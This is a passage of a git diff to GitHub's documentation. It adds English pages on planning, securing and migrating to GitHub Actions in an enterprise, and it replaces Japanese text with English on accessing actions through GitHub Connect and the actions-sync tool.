enterprise](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)."{% else %}"[Searching the audit log](/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log)."{% endif %} + +![Audit log entries](/assets/images/help/repository/audit-log-entries.png) + +## Security + +You should plan your approach to security hardening for {% data variables.product.prodname_actions %}. + +### Security hardening individual workflows and repositories + +Make a plan to enforce good security practices for people using {% data variables.product.prodname_actions %} features within your enterprise. For more information about these practices, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions)." + +You can also encourage reuse of workflows that have already been evaluated for security. For more information, see "[Innersourcing](#innersourcing)." + +### Securing access to secrets and deployment resources + +You should plan where you'll store your secrets. We recommend storing secrets in {% data variables.product.prodname_dotcom %}, but you might choose to store secrets in a cloud provider. + +In {% data variables.product.prodname_dotcom %}, you can store secrets at the repository or organization level. Secrets at the repository level can be limited to workflows in certain environments, such as production or testing. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +![Screenshot of a list of secrets](/assets/images/help/settings/actions-org-secrets-list.png) +{% ifversion fpt or ghes > 3.0 or ghec or ghae %} +You should consider adding manual approval protection for sensitive environments, so that workflows must be approved before getting access to the environments' secrets. For more information, see "[Using environments for deployments](/actions/deployment/targeting-different-environments/using-environments-for-deployment)."{% endif %} + +### Security considerations for third-party actions + +There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that enourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see "[Using third-party actions](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions)." + +## Innersourcing + +Think about how your enterprise can use features of {% data variables.product.prodname_actions %} to innersource workflows. Innersourcing is a way to incorporate the benefits of open source methodologies into your internal software development cycle. For more information, see [An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/) in {% data variables.product.company_short %} Resources. + +{% ifversion ghec or ghes > 3.3 or ghae-issue-4757 %} +With reusable workflows, your team can call one workflow from another workflow, avoiding exact duplication. Reusable workflows promote best practice by helping your team use workflows that are well designed and have already been tested. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +{% endif %} + +To provide a starting place for developers building new workflows, you can use workflow templates. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see "[Creating workflow templates](/actions/learn-github-actions/creating-workflow-templates)." + +Whenever your workflow developers want to use an action that's stored in a private repository, they must configure the workflow to clone the repository first. To reduce the number of repositories that must be cloned, consider grouping commonly used actions in a single repository. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#choosing-a-location-for-your-action)." + +## Managing resources + +You should plan for how you'll manage the resources required to use {% data variables.product.prodname_actions %}. + +### Runners + +{% data variables.product.prodname_actions %} workflows require runners.{% ifversion ghec %} You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.prodname_dotcom %}-hosted runners are convenient because they are managed by {% data variables.product.company_short %}, who handles maintenance and upgrades for you. However, you may want to consider self-hosted runners if you need to run a workflow that will access resources behind your firewall or you want more control over the resources, configuration, or geographic location of your runner machines. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% else %} You will need to host your own runners by installing the {% data variables.product.prodname_actions %} self-hosted runner application on your own machines. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% endif %} + +{% ifversion ghec %}If you are using self-hosted runners, you have to decide whether you want to use physical machines, virtual machines, or containers.{% else %}Decide whether you want to use physical machines, virtual machines, or containers for your self-hosted runners.{% endif %} Physical machines will retain remnants of previous jobs, and so will virtual machines unless you use a fresh image for each job or clean up the machines after each job run. If you choose containers, you should be aware that the runner auto-updating will shut down the container, which can cause workflows to fail. You should come up with a solution for this by preventing auto-updates or skipping the command to kill the container. + +You also have to decide where to add each runner. You can add a self-hosted runner to an individual repository, or you can make the runner available to an entire organization or your entire enterprise. Adding runners at the organization or enterprise levels allows sharing of runners, which might reduce the size of your runner infrastructure. You can use policies to limit access to self-hosted runners at the organization and enterprise levels by assigning groups of runners to specific repositories or organizations. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)" and "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)." + +{% ifversion ghec or ghes > 3.2 %} +You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)." +{% endif %} + +Finally, you should consider security hardening for self-hosted runners. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)." + +### Storage + +{% data reusables.actions.about-artifacts %} For more information, see "[Storing workflow data as artifacts](/actions/advanced-guides/storing-workflow-data-as-artifacts)." + +![Screenshot of artifact](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png) + +{% ifversion ghes %} +You must configure external blob storage for these artifacts. Decide which supported storage provider your enterprise will use. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements)." +{% endif %} + +{% data reusables.github-actions.artifact-log-retention-statement %} + +If you want to retain logs and artifacts longer than the upper limit you can configure in {% data variables.product.product_name %}, you'll have to plan how to export and store the data. + +{% ifversion ghec %} +Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." +{% endif %} + +## Tracking usage + +You should consider making a plan to track your enterprise's usage of {% data variables.product.prodname_actions %}, such as how often workflows are running, how many of those runs are passing and failing, and which repositories are using which workflows. + +{% ifversion ghec %} +You can see basic details of storage and data transfer usage of {% data variables.product.prodname_actions %} for each organization in your enterprise via your billing settings. For more information, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account)." + +For more detailed usage data, you{% else %}You{% endif %} can use webhooks to subscribe to information about workflow jobs and workflow runs. For more information, see "[About webhooks](/developers/webhooks-and-events/webhooks/about-webhooks)." + +Make a plan for how your enterprise can pass the information from these webhooks into a data archiving system. You can consider using "CEDAR.GitHub.Collector", an open source tool that collects and processes webhook data from {% data variables.product.prodname_dotcom %}. For more information, see the [`Microsoft/CEDAR.GitHub.Collector` repository](https://github.com/microsoft/CEDAR.GitHub.Collector/). + +You should also plan how you'll enable your teams to get the data they need from your archiving system. diff --git a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md new file mode 100644 index 0000000000..2936f4d27f --- /dev/null +++ b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md @@ -0,0 +1,87 @@ +--- +title: Migrating your enterprise to GitHub Actions +shortTitle: Migrate to Actions +intro: "Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider." +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise +--- + +## About enterprise migrations to {% data variables.product.prodname_actions %} + +To migrate your enterprise to {% data variables.product.prodname_actions %} from an existing system, you can plan the migration, complete the migration, and retire existing systems. + +This guide addresses specific considerations for migrations. For additional information about introducing {% data variables.product.prodname_actions %} to your enterprise, see "[Introducing {% data variables.product.prodname_actions %} to your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)." + +## Planning your migration + +Before you begin migrating your enterprise to {% data variables.product.prodname_actions %}, you should identify which workflows will be migrated and how those migrations will affect your teams, then plan how and when you will complete the migrations. + +### Leveraging migration specialists + +{% data variables.product.company_short %} can help with your migration, and you may also benefit from purchasing {% data variables.product.prodname_professional_services %}. For more information, contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}. + +### Identifying and inventorying migration targets + +Before you can migrate to {% data variables.product.prodname_actions %}, you need to have a complete understanding of the workflows being used by your enterprise in your existing system. + +First, create an inventory of the existing build and release workflows within your enterprise, gathering information about which workflows are being actively used and need to migrated and which can be left behind. + +Next, learn the differences between your current provider and {% data variables.product.prodname_actions %}. This will help you assess any difficulties in migrating each workflow, and where your enterprise might experience differences in features. For more information, see "[Migrating to {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions)." + +With this information, you'll be able to determine which workflows you can and want to migrate to {% data variables.product.prodname_actions %}. + +### Determine team impacts from migrations + +When you change the tools being used within your enterprise, you influence how your team works. You'll need to consider how moving a workflow from your existing systems to {% data variables.product.prodname_actions %} will affect your developers' day-to-day work. + +Identify any processes, integrations, and third-party tools that will be affected by your migration, and make a plan for any updates you'll need to make. + +Consider how the migration may affect your compliance concerns. For example, will your existing credential scanning and security analysis tools work with {% data variables.product.prodname_actions %}, or will you need to use new tools? + +Identify the gates and checks in your existing system and verify that you can implement them with {% data variables.product.prodname_actions %}. + +### Identifying and validating migration tools + +Automated migration tools can translate your enterprise's workflows from the existing system's syntax to the syntax required by {% data variables.product.prodname_actions %}. Identify third-party tooling or contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %} to ask about tools that {% data variables.product.company_short %} can provide. + +After you've identified a tool to automate your migrations, validate the tool by running the tool on some test workflows and verifying that the results are as expected. + +Automated tooling should be able to migrate the majority of your workflows, but you'll likely need to manually rewrite at least a small percentage. Estimate the amount of manual work you'll need to complete. + +### Deciding on a migration approach + +Determine the migration approach that will work best for your enterprise. Smaller teams may be able to migrate all their workflows at once, with a "rip-and-replace" approach. For larger enterprises, an iterative approach may be more realistic. You can choose to have a central body manage the entire migration or you can ask individual teams to self serve by migrating their own workflows. + +We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too. + +Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired. + +Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable. + +### Defining your migration schedule + +After you decide on a migration approach, build a schedule that outlines when each of your teams will migrate their workflows to {% data variables.product.prodname_actions %}. + +First, decide the date you'd like your migration to be complete. For example, you can plan to complete your migration by the time your contract with your current provider ends. + +Then, work with your teams to create a schedule that meets your deadline without sacrificing their team goals. Look at your business's cadence and the workload of each individual team you're asking to migrate. Coordinate with each team to understand their delivery schedules and create a plan that allows the team to migrate their workflows at a time that won't impact their ability to deliver. + +## Migrating to {% data variables.product.prodname_actions %} + +When you're ready to start your migration, translate your existing workflows to {% data variables.product.prodname_actions %} using the automated tooling and manual rewriting you planned for above. + +You may also want to maintain old build artifacts from your existing system, perhaps by writing a scripted process to archive the artifacts. + +## Retiring existing systems + +After your migration is complete, you can think about retiring your existing system. + +You may want to run both systems side-by-side for some period of time, while you verify that your {% data variables.product.prodname_actions %} configuration is stable, with no degradation of experience for developers. + +Eventually, decommission and shut off the old systems, and ensure that no one within your enterprise can turn the old systems back on. diff --git a/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md b/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md index 234845fbc9..c04ba00eea 100644 --- a/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md +++ b/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Enterprise でのアクションの使用について -intro: '{% data variables.product.product_name %} には、ほとんどの {% data variables.product.prodname_dotcom %} 作成のアクションが含まれ、{% data variables.product.prodname_dotcom_the_website %} および {% data variables.product.prodname_marketplace %} からの他のアクションへのアクセスを有効にするためのオプションがあります。' +title: About using actions in your enterprise +intro: '{% data variables.product.product_name %} includes most {% data variables.product.prodname_dotcom %}-authored actions, and has options for enabling access to other actions from {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %}.' redirect_from: - /enterprise/admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server - /admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server @@ -20,28 +20,28 @@ shortTitle: Add actions in your enterprise {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -{% data variables.product.prodname_actions %} ワークフローは_アクション_を使用できます。アクションは、ジョブを作成してワークフローをカスタマイズするために組み合わせることができる個々のタスクです。 独自のアクションの作成、または {% data variables.product.prodname_dotcom %} コミュニティによって共有されるアクションの使用やカスタマイズができます。 +{% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community. {% data reusables.actions.enterprise-no-internet-actions %} -## Enterprise インスタンスにバンドルされている公式アクション +## Official actions bundled with your enterprise instance -ほとんどの公式の {% data variables.product.prodname_dotcom %} 作成のアクションは自動的に {% data variables.product.product_name %} にバンドルされ、{% data variables.product.prodname_marketplace %} からある時点でキャプチャされます。 +{% data reusables.actions.actions-bundled-with-ghes %} -バンドルされている公式アクションには、`actions/checkout`, `actions/upload-artifact`、`actions/download-artifact`、`actions/labeler`、さまざまな `actions/setup-` などが含まれます。 Enterprise インスタンスに含まれるすべての公式アクションを確認するには、インスタンスの `Actions` Organization である (https://HOSTNAME/actions) を参照します。 +The bundled official actions include `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler`, and various `actions/setup-` actions, among others. To see all the official actions included on your enterprise instance, browse to the `actions` organization on your instance: https://HOSTNAME/actions. -各アクションは`actions` Organization 内のリポジトリであり、各アクションリポジトリには、ワークフローがアクションを参照するために使用できる必要なタグ、ブランチ、およびコミット SHA が含まれています。 バンドルされた公式アクションを更新する方法については、「[公式バンドルアクションの最新バージョンを使用する](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)」を参照してください。 +Each action is a repository in the `actions` organization, and each action repository includes the necessary tags, branches, and commit SHAs that your workflows can use to reference the action. For information on how to update the bundled official actions, see "[Using the latest version of the official bundled actions](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)." {% note %} -**注釈:** セルフホストランナーを使用して {% data variables.product.product_name %} でセットアップアクション（`actions/setup-LANGUAGE` など）を使用する場合、インターネットにアクセスできないランナーでツールキャッシュをセットアップする必要がある場合があります。 詳しい情報については、「[インターネットアクセスを持たないセルフホストランナー上へのツールキャッシュのセットアップ](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)」を参照してください。 +**Note:** When using setup actions (such as `actions/setup-LANGUAGE`) on {% data variables.product.product_name %} with self-hosted runners, you might need to set up the tools cache on runners that do not have internet access. For more information, see "[Setting up the tool cache on self-hosted runners without internet access](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)." {% endnote %} -## {% data variables.product.prodname_dotcom_the_website %} でアクションへのアクセスを設定する +## Configuring access to actions on {% data variables.product.prodname_dotcom_the_website %} -Enterprise のユーザが {% data variables.product.prodname_dotcom_the_website %} または {% data variables.product.prodname_marketplace %} からの他のアクションにアクセスする必要がある場合、いくつかの設定オプションがあります。 +{% data reusables.actions.access-actions-on-dotcom %} -推奨されるアプローチは、{% data variables.product.prodname_dotcom_the_website %} からのすべてのアクションへの自動アクセスを有効化することです。 これを行うには、{% data variables.product.prodname_github_connect %} を使用して {% data variables.product.product_name %} を {% data variables.product.prodname_ghe_cloud %} と統合します。 詳しい情報については、「[{% data variables.product.prodname_github_connect %} を使用した {% data variables.product.prodname_dotcom_the_website %} アクションへの自動アクセスを有効化する](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)」を参照してください。 {% data reusables.actions.enterprise-limit-actions-use %} +The recommended approach is to enable automatic access to all actions from {% data variables.product.prodname_dotcom_the_website %}. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". {% data reusables.actions.enterprise-limit-actions-use %} -または、Enterprise で許可されるアクションをより厳密に制御する場合は、`actions-sync` ツールを使用してアクションを手動でダウンロードして Enterprise インスタンスに同期できます。 詳しい情報については、「[{% data variables.product.prodname_dotcom_the_website %} からのアクションを手動で同期する](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)」を参照してください。 +Alternatively, if you want stricter control over which actions are allowed in your enterprise, you can manually download and sync actions onto your enterprise instance using the `actions-sync` tool. For more information, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)." diff --git a/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md b/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md index f194525458..3470da6098 100644 --- a/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md +++ b/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md @@ -1,6 +1,6 @@ --- -title: GitHub Connect を使用して GitHub.com アクションへの自動アクセスを有効にする -intro: 'Enterprise 内の {% data variables.product.prodname_actions %} が {% data variables.product.prodname_dotcom_the_website %} のアクションを使用できるようにするには、Enterprise インスタンスを {% data variables.product.prodname_ghe_cloud %} に接続します。' +title: Enabling automatic access to GitHub.com actions using GitHub Connect +intro: 'To allow {% data variables.product.prodname_actions %} in your enterprise to use actions from {% data variables.product.prodname_dotcom_the_website %}, you can connect your enterprise instance to {% data variables.product.prodname_ghe_cloud %}.' permissions: 'Site administrators for {% data variables.product.product_name %} who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable access to all {% data variables.product.prodname_dotcom_the_website %} actions.' redirect_from: - /enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect @@ -19,15 +19,19 @@ shortTitle: Use GitHub Connect for actions {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -デフォルトでは、{% data variables.product.product_name %} の {% data variables.product.prodname_actions %} ワークフローは {% data variables.product.prodname_dotcom_the_website %} または [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions) から直接アクションを使用できません。 +## About automatic access to {% data variables.product.prodname_dotcom_the_website %} actions -{% data variables.product.prodname_dotcom_the_website %} のすべてのアクションを Enterprise インスタンスで使用できるようにするには、{% data variables.product.prodname_github_connect %} を使用して {% data variables.product.product_name %} を {% data variables.product.prodname_ghe_cloud %} と統合します。 {% data variables.product.prodname_dotcom_the_website %} からアクションにアクセスする他の方法については、「[Enterprise でのアクションの使用について](/admin/github-actions/about-using-actions-in-your-enterprise)」を参照してください。 +By default, {% data variables.product.prodname_actions %} workflows on {% data variables.product.product_name %} cannot use actions directly from {% data variables.product.prodname_dotcom_the_website %} or [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions). -## すべての {% data variables.product.prodname_dotcom_the_website %} アクションへの自動アクセスを有効化する +To make all actions from {% data variables.product.prodname_dotcom_the_website %} available on your enterprise instance, you can use {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For other ways of accessing actions from {% data variables.product.prodname_dotcom_the_website %}, see "[About using actions in your enterprise](/admin/github-actions/about-using-actions-in-your-enterprise)." + +To use actions from {% data variables.product.prodname_dotcom_the_website %}, your self-hosted runners must be able to download public actions from `api.github.com`. + +## Enabling automatic access to all {% data variables.product.prodname_dotcom_the_website %} actions {% data reusables.actions.enterprise-github-connect-warning %} -Enterprise インスタンスで {% data variables.product.prodname_dotcom_the_website %} からのすべてのアクションへのアクセスを有効にする前に、Enterprise を {% data variables.product.prodname_dotcom_the_website %} に接続する必要があります。 For more information, see "[Connecting your enterprise to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." +Before enabling access to all actions from {% data variables.product.prodname_dotcom_the_website %} on your enterprise instance, you must connect your enterprise to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Connecting your enterprise to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." {% data reusables.enterprise-accounts.access-enterprise %} {%- ifversion ghes < 3.1 %} @@ -35,9 +39,11 @@ Enterprise インスタンスで {% data variables.product.prodname_dotcom_the_w {%- endif %} {% data reusables.enterprise-accounts.github-connect-tab %} {%- ifversion ghes > 3.0 or ghae %} -1. Under "Users can utilize actions from GitHub.com in workflow runs", use the drop-down menu and select **Enabled**. ![ワークフロー実行内の GitHub.com からアクションへのドロップダウンメニュー](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down-ae.png) +1. Under "Users can utilize actions from GitHub.com in workflow runs", use the drop-down menu and select **Enabled**. + ![Drop-down menu to actions from GitHub.com in workflows runs](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down-ae.png) {%- else %} -1. [Server can use actions from GitHub.com in workflows runs] で、ドロップダウンメニューを使用して [**Enabled**] を選択します。 ![ワークフロー実行内の GitHub.com からアクションへのドロップダウンメニュー](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down.png) +1. Under "Server can use actions from GitHub.com in workflows runs", use the drop-down menu and select **Enabled**. + ![Drop-down menu to actions from GitHub.com in workflows runs](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down.png) {%- endif %} 1. {% data reusables.actions.enterprise-limit-actions-use %} @@ -53,7 +59,8 @@ After using an action from {% data variables.product.prodname_dotcom_the_website {% data reusables.enterprise_site_admin_settings.access-settings %} 2. In the left sidebar, under **Site admin** click **Retired namespaces**. -3. Locate the namespace that you want use in {% data variables.product.product_location %} and click **Unretire**. ![Unretire namespace](/assets/images/enterprise/site-admin-settings/unretire-namespace.png) +3. Locate the namespace that you want use in {% data variables.product.product_location %} and click **Unretire**. + ![Unretire namespace](/assets/images/enterprise/site-admin-settings/unretire-namespace.png) 4. Go to the relevant organization and create a new repository. {% tip %} diff --git a/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md b/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md index 5df3a36b83..aca31e0e64 100644 --- a/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md +++ b/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md @@ -1,6 +1,6 @@ --- -title: GitHub.com からアクションを手動で同期する -intro: '{% data variables.product.prodname_dotcom_the_website %} からのアクションにアクセスする必要があるユーザは、特定のアクションを Enterprise インスタンスに同期できます。' +title: Manually syncing actions from GitHub.com +intro: 'For users that need access to actions from {% data variables.product.prodname_dotcom_the_website %}, you can sync specific actions to your enterprise.' redirect_from: - /enterprise/admin/github-actions/manually-syncing-actions-from-githubcom - /admin/github-actions/manually-syncing-actions-from-githubcom @@ -22,39 +22,39 @@ shortTitle: Manually sync actions {% ifversion ghes or ghae-next %} -{% data variables.product.prodname_dotcom_the_website %} からのアクションへのアクセスを有効化する際に推奨されるアプローチは、すべてのアクションへの自動アクセスを有効化することです。 これを行うには、{% data variables.product.prodname_github_connect %} を使用して {% data variables.product.product_name %} を {% data variables.product.prodname_ghe_cloud %} と統合します。 詳しい情報については、「[{% data variables.product.prodname_github_connect %} を使用した {% data variables.product.prodname_dotcom_the_website %} アクションへの自動アクセスを有効化する](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)」を参照してください。 +The recommended approach of enabling access to actions from {% data variables.product.prodname_dotcom_the_website %} is to enable automatic access to all actions. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." However, if you want stricter control over which actions are allowed in your enterprise, you{% else %}You{% endif %} can follow this guide to use {% data variables.product.company_short %}'s open source [`actions-sync`](https://github.com/actions/actions-sync) tool to sync individual action repositories from {% data variables.product.prodname_dotcom_the_website %} to your enterprise. -## `actions-sync` ツールについて +## About the `actions-sync` tool -`actions-sync` ツールは、{% data variables.product.prodname_dotcom_the_website %} API と {% data variables.product.product_name %} インスタンスの API にアクセスできるマシンで実行する必要があります。 両方のマシンに同時に接続する必要はありません。 +The `actions-sync` tool must be run on a machine that can access the {% data variables.product.prodname_dotcom_the_website %} API and your {% data variables.product.product_name %} instance's API. The machine doesn't need to be connected to both at the same time. -マシンが両方のシステムに同時にアクセスできる場合、1 つの `actions-sync sync` コマンドで同期を実行できます。 一度に 1 つのシステムにのみアクセスできる場合は、`actions-sync pull` および `push` コマンドを使用できます。 +If your machine has access to both systems at the same time, you can do the sync with a single `actions-sync sync` command. If you can only access one system at a time, you can use the `actions-sync pull` and `push` commands. -`actions-sync` ツールは、パブリックリポジトリに保存されている {% data variables.product.prodname_dotcom_the_website %} からのみアクションをダウンロードできます。 +The `actions-sync` tool can only download actions from {% data variables.product.prodname_dotcom_the_website %} that are stored in public repositories. {% ifversion ghes > 3.2 or ghae-issue-4815 %} {% note %} -**Note:** The `actions-sync` tool is intended for use in systems where {% data variables.product.prodname_github_connect %} is not enabled. If you run the tool on a system with {% data variables.product.prodname_github_connect %} enabled, you may see the error `The repository has been retired and cannot be reused`. This indicates that a workflow has used that action directly on {% data variables.product.prodname_dotcom_the_website %} and the namespace is retired on {% data variables.product.product_location %}. For more information, see "[Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)." +**Note:** The `actions-sync` tool is intended for use in systems where {% data variables.product.prodname_github_connect %} is not enabled. If you run the tool on a system with {% data variables.product.prodname_github_connect %} enabled, you may see the error `The repository has been retired and cannot be reused`. This indicates that a workflow has used that action directly on {% data variables.product.prodname_dotcom_the_website %} and the namespace is retired on {% data variables.product.product_location %}. For more information, see "[Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)." {% endnote %} {% endif %} -## 必要な環境 +## Prerequisites -* `actions-sync` ツールを使用する前に、すべての宛先 Organization が Enterprise にすでに存在していることを確認する必要があります。 次の例は、`synced-actions` という名前の Organization にアクションを同期する方法を示しています。 詳しい情報については、「[新しい Organization をゼロから作成する](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)」を参照してください。 -* Enterprise に、宛先 Organization のリポジトリを作成して書き込むことができる個人アクセストークン (PAT) を作成する必要があります。 For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."{% ifversion ghes %} -* {% data variables.product.product_location %} の `actions` の Organization でバンドルされたアクションを同期する場合は、`actions` の Organization の所有者である必要があります。 +* Before using the `actions-sync` tool, you must ensure that all destination organizations already exist in your enterprise. The following example demonstrates how to sync actions to an organization named `synced-actions`. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." +* You must create a personal access token (PAT) on your enterprise that can create and write to repositories in the destination organizations. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."{% ifversion ghes %} +* If you want to sync the bundled actions in the `actions` organization on {% data variables.product.product_location %}, you must be an owner of the `actions` organization. {% note %} - - **注釈:** デフォルト設定では、サイト管理者であってもバンドルされた`actions` の Organization の所有者ではありません。 - + + **Note:** By default, even site administrators are not owners of the bundled `actions` organization. + {% endnote %} - サイト管理者は、管理シェルで `ghe-org-admin-promote` コマンドを使用して、ユーザをバンドルされた`actions` の Organization の所有者に昇格させることができます。 詳しい情報については、「[管理シェル (SSH) へのアクセス](/admin/configuration/accessing-the-administrative-shell-ssh)」および「[`ghe-org-admin-promote`](/admin/configuration/command-line-utilities#ghe-org-admin-promote)」を参照してください。 + Site administrators can use the `ghe-org-admin-promote` command in the administrative shell to promote a user to be an owner of the bundled `actions` organization. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" and 